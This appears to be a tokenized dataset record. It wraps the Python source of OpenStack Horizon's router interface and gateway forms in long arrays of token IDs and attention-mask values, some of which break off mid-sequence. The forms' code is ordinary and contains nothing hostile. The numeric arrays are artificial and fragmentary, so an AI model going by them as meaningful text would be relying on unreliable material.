295,
14,
954,
9097,
29478,
6697,
5547,
15,
1231,
15,
4853,
3678,
1738,
63,
515,
12,
1788,
9,
355,
2929,
14,
815,
3508,
83,
1035,
450,
83,
7,
450,
334,
1501,
12,
892,
63,
354,
395,
8661,
29,
19,
9,
355,
1788,
275,
892,
63,
354,
953,
340,
1572,
440,
315,
4652,
26,
355,
4652,
59,
923,
61,
275,
1052,
953,
14972,
63,
576,
275,
4652,
59,
923,
61,
953,
340,
1788,
440,
315,
14972,
63,
576,
26,
355,
14972,
63,
576,
59,
1501,
61,
275,
663,
342,
953,
14972,
63,
576,
59,
1501,
1055,
873,
8,
20672,
9,
339,
1072,
63,
1725,
275,
942,
339,
367,
1572,
315,
3355,
8,
2634,
304,
267,
14972,
63,
576,
275,
4652,
59,
923,
61,
398,
4588,
275,
11745,
14,
27444,
1451,
342,
398,
367,
1788,
315,
14972,
63,
576,
26,
288,
340,
440,
747,
14,
515,
14,
6292,
8,
1501,
304,
355,
2929,
14,
3764,
360,
3364,
11745,
931,
26,
450,
83,
7,
450,
1788,
9,
355,
1980,
953,
4588,
14,
525,
63,
20672,
2561,
1501,
26,
769,
8,
9912,
63,
576,
59
] |
[
3034,
11745,
15841,
1041,
199,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
12,
870,
63,
1593,
199,
199,
646,
747,
199,
646,
295,
199,
199,
504,
1973,
14,
1375,
492,
334,
272,
12778,
63,
578,
63,
4684,
12,
272,
12778,
63,
2014,
63,
4684,
12,
199,
9,
199,
199,
504,
1973,
14,
1974,
492,
334,
272,
2929,
12,
272,
13515,
547,
12,
272,
1255,
63,
1531,
12,
272,
2863,
63,
5418,
12,
199,
9,
199,
199,
504,
1973,
14,
888,
492,
334,
272,
1849,
3652,
2028,
12,
272,
1849,
3652,
7457,
2028,
12,
199,
9,
199,
199,
504,
1973,
14,
13471,
492,
334,
272,
12035,
3237,
12,
272,
3907,
63,
1531,
63,
7538,
12,
199,
9,
199,
199,
19052,
2962,
63,
3022,
275,
283,
396,
15,
2604,
15,
10828,
7,
199,
19052,
2962,
63,
3817,
275,
747,
14,
515,
14,
904,
8,
19052,
2962,
63,
3022,
12,
283,
10828,
358,
199,
19052,
2962,
63,
27544,
275,
661,
1531,
297,
283,
1375,
297,
283,
5418,
297,
283,
1023,
358,
421,
199,
318,
1414,
63,
10828,
63,
13307,
8,
589,
304,
272,
408,
11173,
3792,
315,
11745,
1584,
436,
5389,
1901,
282,
2849,
570,
14,
272,
520,
466,
1249,
26,
1849,
3652,
2028,
272,
520,
4500,
26,
769,
59,
495,
61,
272,
408,
272,
11745,
275,
8265,
63,
10828,
8,
589,
9,
339,
4621,
275,
1211,
1332,
84,
14,
578,
12,
307,
14,
515,
9,
367,
307,
315,
769,
8,
7757,
63,
578,
63,
4684,
4059,
339,
11745,
63,
1725,
275,
359,
736,
14,
515,
14,
904,
8,
19052,
2962,
63,
3022,
12,
289,
9,
367,
289,
315,
747,
14,
7374,
8,
19052,
2962,
63,
3022,
9,
340,
26143,
10828,
3530,
315,
289,
61,
339,
3242,
63,
515,
275,
747,
14,
515,
14,
4832,
360,
773,
15,
4853,
6217,
435,
7324,
272,
1738,
63,
515,
275,
747,
14,
9458,
342,
435,
7324,
339,
7055,
275,
378,
272,
4652,
275,
1052,
339,
340,
1249,
14,
452,
503,
1249,
14,
5811,
26,
267,
5274,
275,
3355,
8,
736,
14,
515,
14,
4832,
8,
1375,
14,
515,
9,
367,
1347,
315,
12778,
63,
2014,
63,
4684,
1012,
272,
587,
26,
267,
5274,
275,
942,
339,
340,
1249,
14,
5811,
26,
267,
4652,
459,
29,
5811,
418,
275,
1211,
1332,
1365,
12,
663,
1012,
367,
1350,
315,
5274,
9,
339,
367,
11745,
63,
493,
315,
11745,
63,
1725,
26,
267,
7055,
847,
413,
267,
2929,
14,
815,
360,
9722,
20,
68,
3149,
20,
68,
61,
450,
83,
7,
450,
334,
5337,
12,
822,
8,
10828,
63,
1725,
395,
11745,
63,
493,
395,
8661,
29,
18,
9,
398,
3379,
275,
11745,
14,
27444,
1451,
342,
398,
1572,
275,
664,
63,
10828,
63,
923,
8,
589,
12,
11745,
63,
493,
9,
398,
340,
1572,
365,
488,
26,
288,
2929,
14,
3764,
360,
8708,
536,
367,
11745,
570,
26,
450,
83,
7,
450,
11745,
63,
493,
9,
288,
1980,
398,
340,
747,
14,
515,
14,
20733,
8,
10828,
63,
493,
9,
508,
378,
26,
288,
2929,
14,
3764,
360,
4699,
11745,
570,
26,
450,
83,
7,
450,
11745,
63,
493,
9,
288,
1980,
398,
862,
26,
288,
3379,
14,
739,
63,
493,
8,
10828,
63,
493,
9,
267,
871,
2186,
465,
444,
26,
221,
327,
4287,
26,
3507,
29,
31294,
13,
7011,
12,
330,
5063,
13,
2590,
288,
2929,
14,
705,
8,
495,
8,
476,
430,
288,
1980,
398,
367,
1788,
315,
3379,
14,
19116,
3297,
63,
1725,
837,
288,
601,
1259,
275,
663,
8,
5043,
14,
20672,
8,
1501,
9,
503,
3073,
953,
340,
440,
601,
1259,
26,
355,
327,
961,
365,
4750,
12060,
7037,
370,
1808,
376,
16313,
1015,
402,
11745,
14,
355,
2929,
14,
3764,
360,
1944,
601,
1259,
1911,
367,
2071,
83,
2,
315,
11745,
570,
26,
450,
83,
7,
450,
334,
1501,
12,
11745,
63,
493,
430,
355,
1980,
953,
340,
1994,
4853,
63,
1494,
773,
14,
3065,
15,
4853,
4805,
315,
1788,
26,
355,
892,
63,
354,
275,
295,
14,
954,
9097,
2795,
15,
4853,
63,
1494,
773,
14,
3065,
15,
4853,
3678,
3242,
63,
515,
12,
1788,
9,
355,
2929,
14,
815,
3508,
83,
1035,
450,
83,
7,
450,
334,
1501,
12,
892,
63,
354,
395,
8661,
29,
19,
9,
355,
1788,
275,
892,
63,
354,
288,
916,
1994,
4853,
63,
578,
8650,
315,
1788,
26,
355,
859,
63,
354,
275,
295,
14,
954,
9097,
2795,
15,
4853,
63,
578,
63,
2229,
48,
28,
578,
23742,
680,
647,
4268,
6468,
71,
28,
578,
4206,
1788,
9,
355,
340,
859,
63,
354,
440,
315,
4621,
26,
490,
2929,
14,
3764,
360,
18297,
11745,
402,
5809,
859,
26,
450,
83,
7,
450,
859,
63,
354,
9,
490,
1980,
355,
892,
63,
354,
275,
747,
14,
515,
14,
4832,
8,
3112,
59,
578,
63,
354,
566,
355,
2929,
14,
815,
3508,
83,
1035,
450,
83,
7,
450,
334,
1501,
12,
892,
63,
354,
395,
8661,
29,
19,
9,
355,
1788,
275,
892,
63,
354,
288,
916,
295,
14,
1733,
9097,
29478,
6697,
5547,
15,
1231,
15,
4853,
3678,
1788,
304,
355,
892,
63,
354,
275,
295,
14,
954,
9097,
29478,
6697,
5547,
15,
1231,
15,
4853,
3678,
1738,
63,
515,
12,
1788,
9,
355,
2929,
14,
815,
3508,
83,
1035,
450,
83,
7,
450,
334,
1501,
12,
892,
63,
354,
395,
8661,
29,
19,
9,
355,
1788,
275,
892,
63,
354,
953,
340,
1572,
440,
315,
4652,
26,
355,
4652,
59,
923,
61,
275,
1052,
953,
14972,
63,
576,
275,
4652,
59,
923,
61,
953,
340,
1788,
440,
315,
14972,
63,
576,
26,
355,
14972,
63,
576,
59,
1501,
61,
275,
663,
342,
953,
14972,
63,
576,
59,
1501,
1055,
873,
8,
20672,
9,
339,
1072,
63,
1725,
275,
942,
339,
367,
1572,
315,
3355,
8,
2634,
304,
267,
14972,
63,
576,
275,
4652,
59,
923,
61,
398,
4588,
275,
11745,
14,
27444,
1451,
342,
398,
367,
1788,
315,
14972,
63,
576,
26,
288,
340,
440,
747,
14,
515,
14,
6292,
8,
1501,
304,
355,
2929,
14,
3764,
360,
3364,
11745,
931,
26,
450,
83,
7,
450,
1788,
9,
355,
1980,
953,
4588,
14,
525,
63,
20672,
2561,
1501,
26,
769,
8,
9912,
63,
576,
59,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
Hodorable/0602
|
openstack_dashboard/dashboards/project/routers/ports/forms.py
|
32
|
7792
|
# Copyright 2012, Nachi Ueno, NTT MCL, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import logging
from django.core.urlresolvers import reverse
from django.utils.translation import ugettext_lazy as _
from horizon import exceptions
from horizon import forms
from horizon import messages
from openstack_dashboard import api
LOG = logging.getLogger(__name__)
class AddInterface(forms.SelfHandlingForm):
subnet_id = forms.ChoiceField(label=_("Subnet"))
ip_address = forms.IPField(
label=_("IP Address (optional)"), required=False, initial="",
help_text=_("Specify an IP address for the interface "
"created (e.g. 192.168.0.254)."),
version=forms.IPv4 | forms.IPv6, mask=False)
router_name = forms.CharField(label=_("Router Name"),
widget=forms.TextInput(
attrs={'readonly': 'readonly'}))
router_id = forms.CharField(label=_("Router ID"),
widget=forms.TextInput(
attrs={'readonly': 'readonly'}))
failure_url = 'horizon:project:routers:detail'
def __init__(self, request, *args, **kwargs):
super(AddInterface, self).__init__(request, *args, **kwargs)
c = self.populate_subnet_id_choices(request)
self.fields['subnet_id'].choices = c
def populate_subnet_id_choices(self, request):
tenant_id = self.request.user.tenant_id
networks = []
try:
networks = api.neutron.network_list_for_tenant(request, tenant_id)
except Exception as e:
msg = _('Failed to get network list %s') % e
LOG.info(msg)
messages.error(request, msg)
router_id = request.REQUEST.get('router_id',
self.initial.get('router_id'))
if router_id:
redirect = reverse(self.failure_url, args=[router_id])
else:
redirect = reverse('horizon:project:routers:index')
exceptions.handle(request, msg, redirect=redirect)
return
choices = []
for n in networks:
net_name = n.name + ': ' if n.name else ''
choices += [(subnet.id,
'%s%s (%s)' % (net_name, subnet.cidr,
subnet.name or subnet.id))
for subnet in n['subnets']]
if choices:
choices.insert(0, ("", _("Select Subnet")))
else:
choices.insert(0, ("", _("No subnets available")))
return choices
def handle(self, request, data):
if data['ip_address']:
port = self._add_interface_by_port(request, data)
else:
port = self._add_interface_by_subnet(request, data)
msg = _('Interface added')
if port:
msg += ' ' + port.fixed_ips[0]['ip_address']
LOG.debug(msg)
messages.success(request, msg)
return True
def _add_interface_by_subnet(self, request, data):
router_id = data['router_id']
try:
router_inf = api.neutron.router_add_interface(
request, router_id, subnet_id=data['subnet_id'])
except Exception as e:
self._handle_error(request, router_id, e)
try:
port = api.neutron.port_get(request, router_inf['port_id'])
except Exception:
# Ignore an error when port_get() since it is just
# to get an IP address for the interface.
port = None
return port
def _add_interface_by_port(self, request, data):
router_id = data['router_id']
subnet_id = data['subnet_id']
try:
subnet = api.neutron.subnet_get(request, subnet_id)
except Exception:
msg = _('Unable to get subnet "%s"') % subnet_id
self._handle_error(request, router_id, msg)
try:
ip_address = data['ip_address']
body = {'network_id': subnet.network_id,
'fixed_ips': [{'subnet_id': subnet.id,
'ip_address': ip_address}]}
port = api.neutron.port_create(request, **body)
except Exception as e:
self._handle_error(request, router_id, e)
try:
api.neutron.router_add_interface(request, router_id,
port_id=port.id)
except Exception as e:
self._delete_port(request, port)
self._handle_error(request, router_id, e)
return port
def _handle_error(self, request, router_id, reason):
msg = _('Failed to add_interface: %s') % reason
LOG.info(msg)
redirect = reverse(self.failure_url, args=[router_id])
exceptions.handle(request, msg, redirect=redirect)
def _delete_port(self, request, port):
try:
api.neutron.port_delete(request, port.id)
except Exception:
msg = _('Failed to delete port %s') % port.id
LOG.info(msg)
exceptions.handle(request, msg)
class SetGatewayForm(forms.SelfHandlingForm):
network_id = forms.ChoiceField(label=_("External Network"))
router_name = forms.CharField(label=_("Router Name"),
widget=forms.TextInput(
attrs={'readonly': 'readonly'}))
router_id = forms.CharField(label=_("Router ID"),
widget=forms.TextInput(
attrs={'readonly': 'readonly'}))
failure_url = 'horizon:project:routers:index'
def __init__(self, request, *args, **kwargs):
super(SetGatewayForm, self).__init__(request, *args, **kwargs)
c = self.populate_network_id_choices(request)
self.fields['network_id'].choices = c
def populate_network_id_choices(self, request):
search_opts = {'router:external': True}
try:
networks = api.neutron.network_list(request, **search_opts)
except Exception as e:
msg = _('Failed to get network list %s') % e
LOG.info(msg)
messages.error(request, msg)
redirect = reverse(self.failure_url)
exceptions.handle(request, msg, redirect=redirect)
return
choices = [(network.id, network.name or network.id)
for network in networks]
if choices:
choices.insert(0, ("", _("Select network")))
else:
choices.insert(0, ("", _("No networks available")))
return choices
def handle(self, request, data):
try:
api.neutron.router_add_gateway(request,
data['router_id'],
data['network_id'])
msg = _('Gateway interface is added')
LOG.debug(msg)
messages.success(request, msg)
return True
except Exception as e:
msg = _('Failed to set gateway %s') % e
LOG.info(msg)
redirect = reverse(self.failure_url)
exceptions.handle(request, msg, redirect=redirect)
|
apache-2.0
|
[
3,
1898,
6029,
12,
221,
653,
1225,
73,
738,
287,
79,
12,
221,
653,
1481,
603,
1981,
12,
221,
3277,
14,
199,
3,
199,
3,
259,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
1265,
1443,
199,
3,
259,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
2047,
1443,
3332,
199,
3,
259,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
260,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
259,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
259,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
2428,
199,
3,
259,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
1666,
314,
199,
3,
259,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
259,
1334,
314,
844,
14,
199,
199,
646,
2050,
199,
199,
504,
1639,
14,
1018,
14,
16522,
492,
3837,
199,
504,
1639,
14,
1208,
14,
6893,
492,
10366,
63,
6395,
465,
485,
199,
199,
504,
21726,
492,
4967,
199,
504,
21726,
492,
4513,
199,
504,
21726,
492,
3788,
199,
504,
13869,
63,
9743,
492,
2986,
199,
199,
4947,
275,
2050,
14,
5572,
3460,
354,
3368,
421,
199,
533,
2654,
4267,
8,
3351,
14,
12887,
26443,
2821,
304,
272,
6303,
63,
344,
275,
4513,
14,
15792,
8,
1302,
9384,
15238,
2237,
272,
3384,
63,
1562,
275,
4513,
14,
1772,
792,
8,
267,
1768,
9384,
1772,
9906,
334,
4144,
13185,
1415,
29,
797,
12,
2536,
8772,
267,
1720,
63,
505,
9384,
17768,
376,
3531,
2287,
367,
314,
3217,
298,
490,
298,
3966,
334,
69,
14,
71,
14,
13567,
14,
6568,
14,
16,
14,
8306,
680,
1288,
267,
1015,
29,
3351,
14,
12179,
20,
1204,
4513,
14,
12179,
22,
12,
3656,
29,
797,
9,
272,
6197,
63,
354,
275,
4513,
14,
2183,
8,
1302,
9384,
11691,
2812,
1288,
3303,
3938,
29,
3351,
14,
18362,
8,
4228,
3290,
3713,
6753,
356,
283,
6753,
20219,
272,
6197,
63,
344,
275,
4513,
14,
2183,
8,
1302,
9384,
11691,
2870,
1288,
1816,
3938,
29,
3351,
14,
18362,
8,
2511,
3290,
3713,
6753,
356,
283,
6753,
20219,
272,
5988,
63,
633,
275,
283,
16561,
26,
1715,
26,
17292,
26,
5506,
7,
339,
347,
636,
826,
721,
277,
12,
1056,
12,
627,
589,
12,
1011,
958,
304,
267,
1613,
8,
1123,
4267,
12,
291,
2843,
826,
721,
1069,
12,
627,
589,
12,
1011,
958,
9,
267,
286,
275,
291,
14,
13817,
63,
5327,
63,
344,
63,
4577,
8,
1069,
9,
267,
291,
14,
955,
459,
5327,
63,
344,
2278,
4577,
275,
286,
339,
347,
13904,
63,
5327,
63,
344,
63,
4577,
8,
277,
12,
1056,
304,
267,
8261,
63,
344,
275,
291,
14,
1069,
14,
751,
14,
4647,
63,
344,
267,
11759,
275,
942,
267,
862,
26,
288,
11759,
275,
2986,
14,
10271,
14,
1200,
63,
513,
63,
509,
63,
4647,
8,
1069,
12,
8261,
63,
344,
9,
267,
871,
2186,
465,
325,
26,
288,
1499,
275,
4018,
4276,
370,
664,
2784,
769,
450,
83,
358,
450,
325,
288,
5051,
14,
815,
8,
1328,
9,
288,
3788,
14,
705,
8,
1069,
12,
1499,
9,
288,
6197,
63,
344,
275,
1056,
14,
6780,
14,
362,
360,
4995,
63,
344,
297,
4490,
291,
14,
2747,
14,
362,
360,
4995,
63,
344,
1333,
288,
340,
6197,
63,
344,
26,
355,
4660,
275,
3837,
8,
277,
14,
5328,
63,
633,
12,
1249,
1524,
4995,
63,
344,
566,
288,
587,
26,
355,
4660,
275,
3837,
360,
16561,
26,
1715,
26,
17292,
26,
1080,
358,
288,
4967,
14,
2479,
8,
1069,
12,
1499,
12,
4660,
29,
4876,
9,
288,
372,
398,
3415,
275,
942,
267,
367,
302,
315,
11759,
26,
288,
1851,
63,
354,
275,
302,
14,
354,
435,
7596,
283,
340,
302,
14,
354,
587,
2125,
288,
3415,
847,
3842,
5327,
14,
344,
12,
586,
1543,
83,
5,
83,
4366,
83,
3171,
450,
334,
846,
63,
354,
12,
6303,
14,
10509,
12,
3147,
6303,
14,
354,
503,
6303,
14,
344,
430,
717,
367,
6303,
315,
302,
459,
14967,
6538,
267,
340,
3415,
26,
288,
3415,
14,
3176,
8,
16,
12,
24727,
3824,
5446,
4804,
846,
13324,
267,
587,
26,
288,
3415,
14,
3176,
8,
16,
12,
24727,
3824,
1944,
18709,
2808,
13324,
267,
372,
3415,
339,
347,
2429,
8,
277,
12,
1056,
12,
666,
304,
267,
340,
666,
459,
711,
63,
1562,
2565,
288,
1844,
275,
291,
423,
525,
63,
3266,
63,
991,
63,
719,
8,
1069,
12,
666,
9,
267,
587,
26,
288,
1844,
275,
291,
423,
525,
63,
3266,
63,
991,
63,
5327,
8,
1069,
12,
666,
9,
267,
1499,
275,
4018,
4267,
3483,
358,
267,
340,
1844,
26,
288,
1499,
847,
283,
283,
435,
1844,
14,
5964,
63,
6142,
59,
16,
2733,
711,
63,
1562,
418,
267,
5051,
14,
1757,
8,
1328,
9,
267,
3788,
14,
3742,
8,
1069,
12,
1499,
9,
267,
372,
715,
339,
347,
485,
525,
63,
3266,
63,
991,
63,
5327,
8,
277,
12,
1056,
12,
666,
304,
267,
6197,
63,
344,
275,
666,
459,
4995,
63,
344,
418,
267,
862,
26,
288,
6197,
63,
4904,
275,
2986,
14,
10271,
14,
4995,
63,
525,
63,
3266,
8,
355,
1056,
12,
6197,
63,
344,
12,
6303,
63,
344,
29,
576,
459,
5327,
63,
344,
1105,
267,
871,
2186,
465,
325,
26,
288,
291,
423,
2479,
63,
705,
8,
1069,
12,
6197,
63,
344,
12,
325,
9,
267,
862,
26,
288,
1844,
275,
2986,
14,
10271,
14,
719,
63,
362,
8,
1069,
12,
6197,
63,
4904,
459,
719,
63,
344,
1105,
267,
871,
2186,
26,
288,
327,
14092,
376,
1125,
1380,
1844,
63,
362,
342,
3967,
652,
365,
2951,
288,
327,
370,
664,
376,
3531,
2287,
367,
314,
3217,
14,
288,
1844,
275,
488,
267,
372,
1844,
339,
347,
485,
525,
63,
3266,
63,
991,
63,
719,
8,
277,
12,
1056,
12,
666,
304,
267,
6197,
63,
344,
275,
666,
459,
4995,
63,
344,
418,
267,
6303,
63,
344,
275,
666,
459,
5327,
63,
344,
418,
267,
862,
26,
288,
6303,
275,
2986,
14,
10271,
14,
5327,
63
] |
[
1898,
6029,
12,
221,
653,
1225,
73,
738,
287,
79,
12,
221,
653,
1481,
603,
1981,
12,
221,
3277,
14,
199,
3,
199,
3,
259,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
1265,
1443,
199,
3,
259,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
2047,
1443,
3332,
199,
3,
259,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
260,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
259,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
259,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
2428,
199,
3,
259,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
1666,
314,
199,
3,
259,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
259,
1334,
314,
844,
14,
199,
199,
646,
2050,
199,
199,
504,
1639,
14,
1018,
14,
16522,
492,
3837,
199,
504,
1639,
14,
1208,
14,
6893,
492,
10366,
63,
6395,
465,
485,
199,
199,
504,
21726,
492,
4967,
199,
504,
21726,
492,
4513,
199,
504,
21726,
492,
3788,
199,
504,
13869,
63,
9743,
492,
2986,
199,
199,
4947,
275,
2050,
14,
5572,
3460,
354,
3368,
421,
199,
533,
2654,
4267,
8,
3351,
14,
12887,
26443,
2821,
304,
272,
6303,
63,
344,
275,
4513,
14,
15792,
8,
1302,
9384,
15238,
2237,
272,
3384,
63,
1562,
275,
4513,
14,
1772,
792,
8,
267,
1768,
9384,
1772,
9906,
334,
4144,
13185,
1415,
29,
797,
12,
2536,
8772,
267,
1720,
63,
505,
9384,
17768,
376,
3531,
2287,
367,
314,
3217,
298,
490,
298,
3966,
334,
69,
14,
71,
14,
13567,
14,
6568,
14,
16,
14,
8306,
680,
1288,
267,
1015,
29,
3351,
14,
12179,
20,
1204,
4513,
14,
12179,
22,
12,
3656,
29,
797,
9,
272,
6197,
63,
354,
275,
4513,
14,
2183,
8,
1302,
9384,
11691,
2812,
1288,
3303,
3938,
29,
3351,
14,
18362,
8,
4228,
3290,
3713,
6753,
356,
283,
6753,
20219,
272,
6197,
63,
344,
275,
4513,
14,
2183,
8,
1302,
9384,
11691,
2870,
1288,
1816,
3938,
29,
3351,
14,
18362,
8,
2511,
3290,
3713,
6753,
356,
283,
6753,
20219,
272,
5988,
63,
633,
275,
283,
16561,
26,
1715,
26,
17292,
26,
5506,
7,
339,
347,
636,
826,
721,
277,
12,
1056,
12,
627,
589,
12,
1011,
958,
304,
267,
1613,
8,
1123,
4267,
12,
291,
2843,
826,
721,
1069,
12,
627,
589,
12,
1011,
958,
9,
267,
286,
275,
291,
14,
13817,
63,
5327,
63,
344,
63,
4577,
8,
1069,
9,
267,
291,
14,
955,
459,
5327,
63,
344,
2278,
4577,
275,
286,
339,
347,
13904,
63,
5327,
63,
344,
63,
4577,
8,
277,
12,
1056,
304,
267,
8261,
63,
344,
275,
291,
14,
1069,
14,
751,
14,
4647,
63,
344,
267,
11759,
275,
942,
267,
862,
26,
288,
11759,
275,
2986,
14,
10271,
14,
1200,
63,
513,
63,
509,
63,
4647,
8,
1069,
12,
8261,
63,
344,
9,
267,
871,
2186,
465,
325,
26,
288,
1499,
275,
4018,
4276,
370,
664,
2784,
769,
450,
83,
358,
450,
325,
288,
5051,
14,
815,
8,
1328,
9,
288,
3788,
14,
705,
8,
1069,
12,
1499,
9,
288,
6197,
63,
344,
275,
1056,
14,
6780,
14,
362,
360,
4995,
63,
344,
297,
4490,
291,
14,
2747,
14,
362,
360,
4995,
63,
344,
1333,
288,
340,
6197,
63,
344,
26,
355,
4660,
275,
3837,
8,
277,
14,
5328,
63,
633,
12,
1249,
1524,
4995,
63,
344,
566,
288,
587,
26,
355,
4660,
275,
3837,
360,
16561,
26,
1715,
26,
17292,
26,
1080,
358,
288,
4967,
14,
2479,
8,
1069,
12,
1499,
12,
4660,
29,
4876,
9,
288,
372,
398,
3415,
275,
942,
267,
367,
302,
315,
11759,
26,
288,
1851,
63,
354,
275,
302,
14,
354,
435,
7596,
283,
340,
302,
14,
354,
587,
2125,
288,
3415,
847,
3842,
5327,
14,
344,
12,
586,
1543,
83,
5,
83,
4366,
83,
3171,
450,
334,
846,
63,
354,
12,
6303,
14,
10509,
12,
3147,
6303,
14,
354,
503,
6303,
14,
344,
430,
717,
367,
6303,
315,
302,
459,
14967,
6538,
267,
340,
3415,
26,
288,
3415,
14,
3176,
8,
16,
12,
24727,
3824,
5446,
4804,
846,
13324,
267,
587,
26,
288,
3415,
14,
3176,
8,
16,
12,
24727,
3824,
1944,
18709,
2808,
13324,
267,
372,
3415,
339,
347,
2429,
8,
277,
12,
1056,
12,
666,
304,
267,
340,
666,
459,
711,
63,
1562,
2565,
288,
1844,
275,
291,
423,
525,
63,
3266,
63,
991,
63,
719,
8,
1069,
12,
666,
9,
267,
587,
26,
288,
1844,
275,
291,
423,
525,
63,
3266,
63,
991,
63,
5327,
8,
1069,
12,
666,
9,
267,
1499,
275,
4018,
4267,
3483,
358,
267,
340,
1844,
26,
288,
1499,
847,
283,
283,
435,
1844,
14,
5964,
63,
6142,
59,
16,
2733,
711,
63,
1562,
418,
267,
5051,
14,
1757,
8,
1328,
9,
267,
3788,
14,
3742,
8,
1069,
12,
1499,
9,
267,
372,
715,
339,
347,
485,
525,
63,
3266,
63,
991,
63,
5327,
8,
277,
12,
1056,
12,
666,
304,
267,
6197,
63,
344,
275,
666,
459,
4995,
63,
344,
418,
267,
862,
26,
288,
6197,
63,
4904,
275,
2986,
14,
10271,
14,
4995,
63,
525,
63,
3266,
8,
355,
1056,
12,
6197,
63,
344,
12,
6303,
63,
344,
29,
576,
459,
5327,
63,
344,
1105,
267,
871,
2186,
465,
325,
26,
288,
291,
423,
2479,
63,
705,
8,
1069,
12,
6197,
63,
344,
12,
325,
9,
267,
862,
26,
288,
1844,
275,
2986,
14,
10271,
14,
719,
63,
362,
8,
1069,
12,
6197,
63,
4904,
459,
719,
63,
344,
1105,
267,
871,
2186,
26,
288,
327,
14092,
376,
1125,
1380,
1844,
63,
362,
342,
3967,
652,
365,
2951,
288,
327,
370,
664,
376,
3531,
2287,
367,
314,
3217,
14,
288,
1844,
275,
488,
267,
372,
1844,
339,
347,
485,
525,
63,
3266,
63,
991,
63,
719,
8,
277,
12,
1056,
12,
666,
304,
267,
6197,
63,
344,
275,
666,
459,
4995,
63,
344,
418,
267,
6303,
63,
344,
275,
666,
459,
5327,
63,
344,
418,
267,
862,
26,
288,
6303,
275,
2986,
14,
10271,
14,
5327,
63,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
